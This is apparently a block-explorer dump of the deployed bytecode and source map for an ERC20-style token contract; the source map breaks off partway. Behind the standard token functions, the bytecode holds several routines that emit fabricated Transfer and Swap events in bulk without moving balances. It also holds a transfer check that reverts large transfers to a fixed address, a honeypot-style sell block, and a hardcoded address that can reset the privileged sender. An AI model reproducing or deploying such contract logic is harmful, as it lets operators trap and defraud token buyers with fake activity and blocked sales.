0x608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063aafe62d11161006f578063aafe62d1146102a5578063beabacc8146102c1578063dd62ed3e146102dd578063e7b817491461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806323b872dd116100dc57806323b872dd1461019557806326ededb8146101c5578063313ce567146101e157806370a08231146101ff57610109565b806302f4dae31461010d57806306fdde0314610129578063095ea7b31461014757806318160ddd14610177575b5f80fd5b610127600480360381019061012291906113b2565b610359565b005b6101316104b9565b60405161013e9190611493565b60405180910390f35b610161600480360381019061015c91906114b3565b610549565b60405161016e919061150b565b60405180910390f35b61017f61056b565b60405161018c9190611533565b60405180910390f35b6101af60048036038101906101aa919061154c565b610574565b6040516101bc919061150b565b60405180910390f35b6101df60048036038101906101da919061159c565b6105a2565b005b6101e961066f565b6040516101f69190611614565b60405180910390f35b6102196004803603810190610214919061162d565b610677565b6040516102269190611533565b60405180910390f35b6102376106bd565b005b6102416106d0565b60405161024e9190611667565b60405180910390f35b61025f6106f7565b60405161026c9190611493565b60405180910390f35b61028f600480360381019061028a91906114b3565b610787565b60405161029c919061150b565b60405180910390f35b6102bf60048036038101906102ba91906113b2565b6107a9565b005b6102db60048036038101906102d6919061154c565b610909565b005b6102f760048036038101906102f29190611680565b610973565b6040516103049190611533565b60405180910390f35b6103276004803603810190610322919061162d565b6109f5565b604051610334919061150b565b60405180910390f35b6103576004803603810190610352919061162d565b610a8e565b005b5f5b848490508110156104b257848482818110610379576103786116be565b5b905060200201602081019061038e919061162d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80886040516103f0949392919061172d565b60405180910390a384848281811061040b5761040a6116be565b5b9050602002016020810190610420919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161049d9190611533565b60405180910390a3808060010191505061035b565b5050505050565b6060600480546104c89061179d565b80601f01602080910402602001604051908101604052809291908181526020018280546104f49061179d565b801561053f5780601f106105165761010080835404028352916020019161053f565b820191905f5260205f20905b81548152906001019060200180831161052257829003601f168201915b5050505050905090565b5f80610553610b10565b9050610560818585610b17565b600191505092915050565b5f600354905090565b5f8061057e610b10565b905061058b858285610cda565b610596858585610d65565b60019150509392505050565b5f5b83839050811015610669578383828181106105c2576105c16116be565b5b90506020020160208101906105d7919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106549190611533565b60405180910390a380806001019150506105a4565b50505050565b5f6008905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c5611178565b6106ce5f6111f6565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107069061179d565b80601f01602080910402602001604051908101604052809291908181526020018280546107329061179d565b801561077d5780601f106107545761010080835404028352916020019161077d565b820191905f5260205f20905b81548152906001019060200180831161076057829003601f168201915b5050505050905090565b5f80610791610b10565b905061079e818585610d65565b600191505092915050565b5f5b84849050811015610902578484828181106107c9576107c86116be565b5b90506020020160208101906107de919061162d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f8088604051610840949392919061172d565b60405180910390a384848281811061085b5761085a6116be565b5b9050602002016020810190610870919061162d565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108ed9190611533565b60405180910390a380806001019150506107ab565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109669190611533565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73926b85da7628a1eaf2e403868b43d96430eae37773ffffffffffffffffffffffffffffffffffffffff16610a29610b10565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b610a96611178565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb9061183d565b60405180910390fd5b610b0d816111f6565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c906118cb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bea90611959565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccd9190611533565b60405180910390a3505050565b5f610ce58484610973565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d5f5781811015610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d48906119c1565b60405180910390fd5b610d5e8484848403610b17565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90611a4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890611add565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610edd5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610fcc57508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610f7f5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610fcb575073926b85da7628a1eaf2e403868b43d96430eae37773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610ff0575f600182610fdf9190611b28565b90506007548110610fee575f80fd5b505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90611bcb565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115f9190611533565b60405180910390a36111728484846112b7565b50505050565b611180610b10565b73ffffffffffffffffffffffffffffffffffffffff1661119e6106d0565b73ffffffffffffffffffffffffffffffffffffffff16146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90611c33565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126112e5576112e46112c4565b5b8235905067ffffffffffffffff811115611302576113016112c8565b5b60208301915083602082028301111561131e5761131d6112cc565b5b9250929050565b5f819050919050565b61133781611325565b8114611341575f80fd5b50565b5f813590506113528161132e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61138182611358565b9050919050565b61139181611377565b811461139b575f80fd5b50565b5f813590506113ac81611388565b92915050565b5f805f80606085870312156113ca576113c96112bc565b5b5f85013567ffffffffffffffff8111156113e7576113e66112c0565b5b6113f3878288016112d0565b9450945050602061140687828801611344565b92505060406114178782880161139e565b91505092959194509250565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61146582611423565b61146f818561142d565b935061147f81856020860161143d565b6114888161144b565b840191505092915050565b5f6020820190508181035f8301526114ab818461145b565b905092915050565b5f80604083850312156114c9576114c86112bc565b5b5f6114d68582860161139e565b92505060206114e785828601611344565b9150509250929050565b5f8115159050919050565b611505816114f1565b82525050565b5f60208201905061151e5f8301846114fc565b92915050565b61152d81611325565b82525050565b5f6020820190506115465f830184611524565b92915050565b5f805f60608486031215611563576115626112bc565b5b5f6115708682870161139e565b93505060206115818682870161139e565b925050604061159286828701611344565b9150509250925092565b5f805f604084860312156115b3576115b26112bc565b5b5f84013567ffffffffffffffff8111156115d0576115cf6112c0565b5b6115dc868287016112d0565b935093505060206115ef86828701611344565b9150509250925092565b5f60ff82169050919050565b61160e816115f9565b82525050565b5f6020820190506116275f830184611605565b92915050565b5f60208284031215611642576116416112bc565b5b5f61164f8482850161139e565b91505092915050565b61166181611377565b82525050565b5f60208201905061167a5f830184611658565b92915050565b5f8060408385031215611696576116956112bc565b5b5f6116a38582860161139e565b92505060206116b48582860161139e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61171761171261170d846116eb565b6116f4565b611325565b9050919050565b611727816116fd565b82525050565b5f6080820190506117405f830187611524565b61174d602083018661171e565b61175a604083018561171e565b6117676060830184611524565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806117b457607f821691505b6020821081036117c7576117c6611770565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61182760268361142d565b9150611832826117cd565b604082019050919050565b5f6020820190508181035f8301526118548161181b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118b560248361142d565b91506118c08261185b565b604082019050919050565b5f6020820190508181035f8301526118e2816118a9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61194360228361142d565b915061194e826118e9565b604082019050919050565b5f6020820190508181035f83015261197081611937565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6119ab601d8361142d565b91506119b682611977565b602082019050919050565b5f6020820190508181035f8301526119d88161199f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a3960258361142d565b9150611a44826119df565b604082019050919050565b5f6020820190508181035f830152611a6681611a2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760238361142d565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b3282611325565b9150611b3d83611325565b9250828201905080821115611b5557611b54611afb565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611bb560268361142d565b9150611bc082611b5b565b604082019050919050565b5f6020820190508181035f830152611be281611ba9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611c1d60208361142d565b9150611c2882611be9565b602082019050919050565b5f6020820190508181035f830152611c4a81611c11565b905091905056fea26469706673582212202f075d366209a937387a38fe0b989a7b4ca36d8d9786a5d0da250732eed6ff9b64736f6c63430008190033

Deployed Bytecode Sourcemap

3168:5591:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3901:279;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3577:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5183:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5752:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5392:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4475:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3799:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5923:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2644:103;;;:::i;:::-;;2409:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3685:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4821:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4186:281;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4696:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5022:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6058:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2755:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3901:279;3999:9;3994:179;4018:11;;:18;;4014:1;:22;3994:179;;;4088:11;;4100:1;4088:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4063:40;;4068:2;4063:40;;;4072:3;4077:1;4080;4083:3;4063:40;;;;;;;;;:::i;:::-;;;;;;;;4141:11;;4153:1;4141:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4123:38;;4132:7;;;;;;;;;;;4123:38;;;4157:3;4123:38;;;;;;:::i;:::-;;;;;;;;4038:3;;;;;;;3994:179;;;;3901:279;;;;:::o;3577:100::-;3631:13;3664:5;3657:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3577:100;:::o;5183:201::-;5266:4;5283:13;5299:12;:10;:12::i;:::-;5283:28;;5322:32;5331:5;5338:7;5347:6;5322:8;:32::i;:::-;5372:4;5365:11;;;5183:201;;;;:::o;5752:108::-;5813:7;5840:12;;5833:19;;5752:108;:::o;5392:295::-;5523:4;5540:15;5558:12;:10;:12::i;:::-;5540:30;;5581:38;5597:4;5603:7;5612:6;5581:15;:38::i;:::-;5630:27;5640:4;5646:2;5650:6;5630:9;:27::i;:::-;5675:4;5668:11;;;5392:295;;;;;:::o;4475:211::-;4564:9;4559:120;4583:11;;:18;;4579:1;:22;4559:120;;;4646:11;;4658:1;4646:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4628:39;;4637:7;;;;;;;;;;;4628:39;;;4662:4;4628:39;;;;;;:::i;:::-;;;;;;;;4603:3;;;;;;;4559:120;;;;4475:211;;;:::o;3799:92::-;3857:5;3882:1;3875:8;;3799:92;:::o;5923:127::-;5997:7;6024:9;:18;6034:7;6024:18;;;;;;;;;;;;;;;;6017:25;;5923:127;;;:::o;2644:103::-;2370:13;:11;:13::i;:::-;2709:30:::1;2736:1;2709:18;:30::i;:::-;2644:103::o:0;2409:87::-;2455:7;2482:6;;;;;;;;;;;2475:13;;2409:87;:::o;3685:104::-;3741:13;3774:7;3767:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3685:104;:::o;4821:193::-;4900:4;4917:13;4933:12;:10;:12::i;:::-;4917:28;;4956;4966:5;4973:2;4977:6;4956:9;:28::i;:::-;5002:4;4995:11;;;4821:193;;;;:::o;4186:281::-;4286:9;4281:179;4305:11;;:18;;4301:1;:22;4281:179;;;4375:11;;4387:1;4375:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4350:40;;4355:2;4350:40;;;4359:3;4364:1;4367;4370:3;4350:40;;;;;;;;;:::i;:::-;;;;;;;;4428:11;;4440:1;4428:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4410:38;;4419:7;;;;;;;;;;;4410:38;;;4444:3;4410:38;;;;;;:::i;:::-;;;;;;;;4325:3;;;;;;;4281:179;;;;4186:281;;;;:::o;4696:119::-;4797:3;4781:26;;4790:5;4781:26;;;4802:4;4781:26;;;;;;:::i;:::-;;;;;;;;4696:119;;;:::o;5022:151::-;5111:7;5138:11;:18;5150:5;5138:18;;;;;;;;;;;;;;;:27;5157:7;5138:27;;;;;;;;;;;;;;;;5131:34;;5022:151;;;;:::o;6058:189::-;6119:4;6156:42;6140:58;;:12;:10;:12::i;:::-;:58;;;6137:80;;6210:7;6200;;:17;;;;;;;;;;;;;;;;;;6137:80;6235:4;6228:11;;6058:189;;;:::o;2755:201::-;2370:13;:11;:13::i;:::-;2864:1:::1;2844:22;;:8;:22;;::::0;2836:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2920:28;2939:8;2920:18;:28::i;:::-;2755:201:::0;:::o;1884:98::-;1937:7;1964:10;1957:17;;1884:98;:::o;6670:380::-;6823:1;6806:19;;:5;:19;;;6798:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6904:1;6885:21;;:7;:21;;;6877:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6988:6;6958:11;:18;6970:5;6958:18;;;;;;;;;;;;;;;:27;6977:7;6958:27;;;;;;;;;;;;;;;:36;;;;7026:7;7010:32;;7019:5;7010:32;;;7035:6;7010:32;;;;;;:::i;:::-;;;;;;;;6670:380;;;:::o;7993:453::-;8128:24;8155:25;8165:5;8172:7;8155:9;:25::i;:::-;8128:52;;8215:17;8195:16;:37;8191:248;;8277:6;8257:16;:26;;8249:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8361:51;8370:5;8377:7;8405:6;8386:16;:25;8361:8;:51::i;:::-;8191:248;8117:329;7993:453;;;:::o;7062:923::-;7209:1;7193:18;;:4;:18;;;7185:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7286:1;7272:16;;:2;:16;;;7264:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7351:7;;;;;;;;;;;7343:15;;:4;:15;;;;:67;;;;;7368:42;7362:48;;:2;:48;;;7343:67;7342:197;;;;7427:2;7416:13;;:7;;;;;;;;;;;:13;;;:67;;;;;7441:42;7433:50;;:4;:50;;;;7416:67;:122;;;;;7496:42;7487:51;;:4;:51;;;;7416:122;7342:197;7339:295;;;7556:14;7582:1;7573:6;:10;;;;:::i;:::-;7556:27;;7615:5;;7606:6;:14;7598:24;;;;;;7541:93;7339:295;7644:19;7666:9;:15;7676:4;7666:15;;;;;;;;;;;;;;;;7644:37;;7715:6;7700:11;:21;;7692:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7832:6;7818:11;:20;7800:9;:15;7810:4;7800:15;;;;;;;;;;;;;;;:38;;;;7870:6;7853:9;:13;7863:2;7853:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;7918:2;7903:26;;7912:4;7903:26;;;7922:6;7903:26;;;;;;:::i;:::-;;;;;;;;7940:37;7960:4;7966:2;7970:6;7940:19;:37::i;:::-;7174:811;7062:923;;;:::o;2502:132::-;2577:12;:10;:12::i;:::-;2566:23;;:7;:5;:7::i;:::-;:23;;;2558:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2502:132::o;2964:191::-;3038:16;3057:6;;;;;;;;;;;3038:25;;3083:8;3074:6;;:17;;;;;;;;;;;;;;;;;;3138:8;3107:40;;3128:8;3107:40;;;;;;;;;;;;3027:128;2964:191;:::o;8456:124::-;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:77::-;1331:7;1360:5;1349:16;;1294:77;;;:::o;1377:122::-;1450:24;1468:5;1450:24;:::i;:::-;1443:5;1440:35;1430:63;;1489:1;1486;1479:12;1430:63;1377:122;:::o;1505:139::-;1551:5;1589:6;1576:20;1567:29;;1605:33;1632:5;1605:33;:::i;:::-;1505:139;;;;:::o;1650:126::-;1687:7;1727:42;1720:5;1716:54;1705:65;;1650:126;;;:::o;1782:96::-;1819:7;1848:24;1866:5;1848:24;:::i;:::-;1837:35;;1782:96;;;:::o;1884:122::-;1957:24;1975:5;1957:24;:::i;:::-;1950:5;1947:35;1937:63;;1996:1;1993;1986:12;1937:63;1884:122;:::o;2012:139::-;2058:5;2096:6;2083:20;2074:29;;2112:33;2139:5;2112:33;:::i;:::-;2012:139;;;;:::o;2157:849::-;2261:6;2269;2277;2285;2334:2;2322:9;2313:7;2309:23;2305:32;2302:119;;;2340:79;;:::i;:::-;2302:119;2488:1;2477:9;2473:17;2460:31;2518:18;2510:6;2507:30;2504:117;;;2540:79;;:::i;:::-;2504:117;2653:80;2725:7;2716:6;2705:9;2701:22;2653:80;:::i;:::-;2635:98;;;;2431:312;2782:2;2808:53;2853:7;2844:6;2833:9;2829:22;2808:53;:::i;:::-;2798:63;;2753:118;2910:2;2936:53;2981:7;2972:6;2961:9;2957:22;2936:53;:::i;:::-;2926:63;;2881:118;2157:849;;;;;;;:::o;3012:99::-;3064:6;3098:5;3092:12;3082:22;;3012:99;;;:::o;3117:169::-;3201:11;3235:6;3230:3;3223:19;3275:4;3270:3;3266:14;3251:29;;3117:169;;;;:::o;3292:139::-;3381:6;3376:3;3371;3365:23;3422:1;3413:6;3408:3;3404:16;3397:27;3292:139;;;:::o;3437:102::-;3478:6;3529:2;3525:7;3520:2;3513:5;3509:14;3505:28;3495:38;;3437:102;;;:::o;3545:377::-;3633:3;3661:39;3694:5;3661:39;:::i;:::-;3716:71;3780:6;3775:3;3716:71;:::i;:::-;3709:78;;3796:65;3854:6;3849:3;3842:4;3835:5;3831:16;3796:65;:::i;:::-;3886:29;3908:6;3886:29;:::i;:::-;3881:3;3877:39;3870:46;;3637:285;3545:377;;;;:::o;3928:313::-;4041:4;4079:2;4068:9;4064:18;4056:26;;4128:9;4122:4;4118:20;4114:1;4103:9;4099:17;4092:47;4156:78;4229:4;4220:6;4156:78;:::i;:::-;4148:86;;3928:313;;;;:::o;4247:474::-;4315:6;4323;4372:2;4360:9;4351:7;4347:23;4343:32;4340:119;;;4378:79;;:::i;:::-;4340:119;4498:1;4523:53;4568:7;4559:6;4548:9;4544:22;4523:53;:::i;:::-;4513:63;;4469:117;4625:2;4651:53;4696:7;4687:6;4676:9;4672:22;4651:53;:::i;:::-;4641:63;;4596:118;4247:474;;;;;:::o;4727:90::-;4761:7;4804:5;4797:13;4790:21;4779:32;;4727:90;;;:::o;4823:109::-;4904:21;4919:5;4904:21;:::i;:::-;4899:3;4892:34;4823:109;;:::o;4938:210::-;5025:4;5063:2;5052:9;5048:18;5040:26;;5076:65;5138:1;5127:9;5123:17;5114:6;5076:65;:::i;:::-;4938:210;;;;:::o;5154:118::-;5241:24;5259:5;5241:24;:::i;:::-;5236:3;5229:37;5154:118;;:::o;5278:222::-;5371:4;5409:2;5398:9;5394:18;5386:26;;5422:71;5490:1;5479:9;5475:17;5466:6;5422:71;:::i;:::-;5278:222;;;;:::o;5506:619::-;5583:6;5591;5599;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5901:2;5927:53;5972:7;5963:6;5952:9;5948:22;5927:53;:::i;:::-;5917:63;;5872:118;6029:2;6055:53;6100:7;6091:6;6080:9;6076:22;6055:53;:::i;:::-;6045:63;;6000:118;5506:619;;;;;:::o;6131:704::-;6226:6;6234;6242;6291:2;6279:9;6270:7;6266:23;6262:32;6259:119;;;6297:79;;:::i;:::-;6259:119;6445:1;6434:9;6430:17;6417:31;6475:18;6467:6;6464:30;6461:117;;;6497:79;;:::i;:::-;6461:117;6610:80;6682:7;6673:6;6662:9;6658:22;6610:80;:::i;:::-;6592:98;;;;6388:312;6739:2;6765:53;6810:7;6801:6;6790:9;6786:22;6765:53;:::i;:::-;6755:63;;6710:118;6131:704;;;;;:::o;6841:86::-;6876:7;6916:4;6909:5;6905:16;6894:27;;6841:86;;;:::o;6933:112::-;7016:22;7032:5;7016:22;:::i;:::-;7011:3;7004:35;6933:112;;:::o;7051:214::-;7140:4;7178:2;7167:9;7163:18;7155:26;;7191:67;7255:1;7244:9;7240:17;7231:6;7191:67;:::i;:::-;7051:214;;;;:::o;7271:329::-;7330:6;7379:2;7367:9;7358:7;7354:23;7350:32;7347:119;;;7385:79;;:::i;:::-;7347:119;7505:1;7530:53;7575:7;7566:6;7555:9;7551:22;7530:53;:::i;:::-;7520:63;;7476:117;7271:329;;;;:::o;7606:118::-;7693:24;7711:5;7693:24;:::i;:::-;7688:3;7681:37;7606:118;;:::o;7730:222::-;7823:4;7861:2;7850:9;7846:18;7838:26;;7874:71;7942:1;7931:9;7927:17;7918:6;7874:71;:::i;:::-;7730:222;;;;:::o;7958:474::-;8026:6;8034;8083:2;8071:9;8062:7;8058:23;8054:32;8051:119;;;8089:79;;:::i;:::-;8051:119;8209:1;8234:53;8279:7;8270:6;8259:9;8255:22;8234:53;:::i;:::-;8224:63;;8180:117;8336:2;8362:53;8407:7;8398:6;8387:9;8383:22;8362:53;:::i;:::-;8352:63;;8307:118;7958:474;;;;;:::o;8438:180::-;8486:77;8483:1;8476:88;8583:4;8580:1;8573:15;8607:4;8604:1;8597:15;8624:85;8669:7;8698:5;8687:16;;8624:85;;;:::o;8715:60::-;8743:3;8764:5;8757:12;;8715:60;;;:::o;8781:158::-;8839:9;8872:61;8890:42;8899:32;8925:5;8899:32;:::i;:::-;8890:42;:::i;:::-;8872:61;:::i;:::-;8859:74;;8781:158;;;:::o;8945:147::-;9040:45;9079:5;9040:45;:::i;:::-;9035:3;9028:58;8945:147;;:::o;9098:585::-;9291:4;9329:3;9318:9;9314:19;9306:27;;9343:71;9411:1;9400:9;9396:17;9387:6;9343:71;:::i;:::-;9424:80;9500:2;9489:9;9485:18;9476:6;9424:80;:::i;:::-;9514;9590:2;9579:9;9575:18;9566:6;9514:80;:::i;:::-;9604:72;9672:2;9661:9;9657:18;9648:6;9604:72;:::i;:::-;9098:585;;;;;;;:::o;9689:180::-;9737:77;9734:1;9727:88;9834:4;9831:1;9824:15;9858:4;9855:1;9848:15;9875:320;9919:6;9956:1;9950:4;9946:12;9936:22;;10003:1;9997:4;9993:12;10024:18;10014:81;;10080:4;10072:6;10068:17;10058:27;;10014:81;10142:2;10134:6;10131:14;10111:18;10108:38;10105:84;;10161:18;;:::i;:::-;10105:84;9926:269;9875:320;;;:::o;10201:225::-;10341:34;10337:1;10329:6;10325:14;10318:58;10410:8;10405:2;10397:6;10393:15;10386:33;10201:225;:::o;10432:366::-;10574:3;10595:67;10659:2;10654:3;10595:67;:::i;:::-;10588:74;;10671:93;10760:3;10671:93;:::i;:::-;10789:2;10784:3;10780:12;10773:19;;10432:366;;;:::o;10804:419::-;10970:4;11008:2;10997:9;10993:18;10985:26;;11057:9;11051:4;11047:20;11043:1;11032:9;11028:17;11021:47;11085:131;11211:4;11085:131;:::i;:::-;11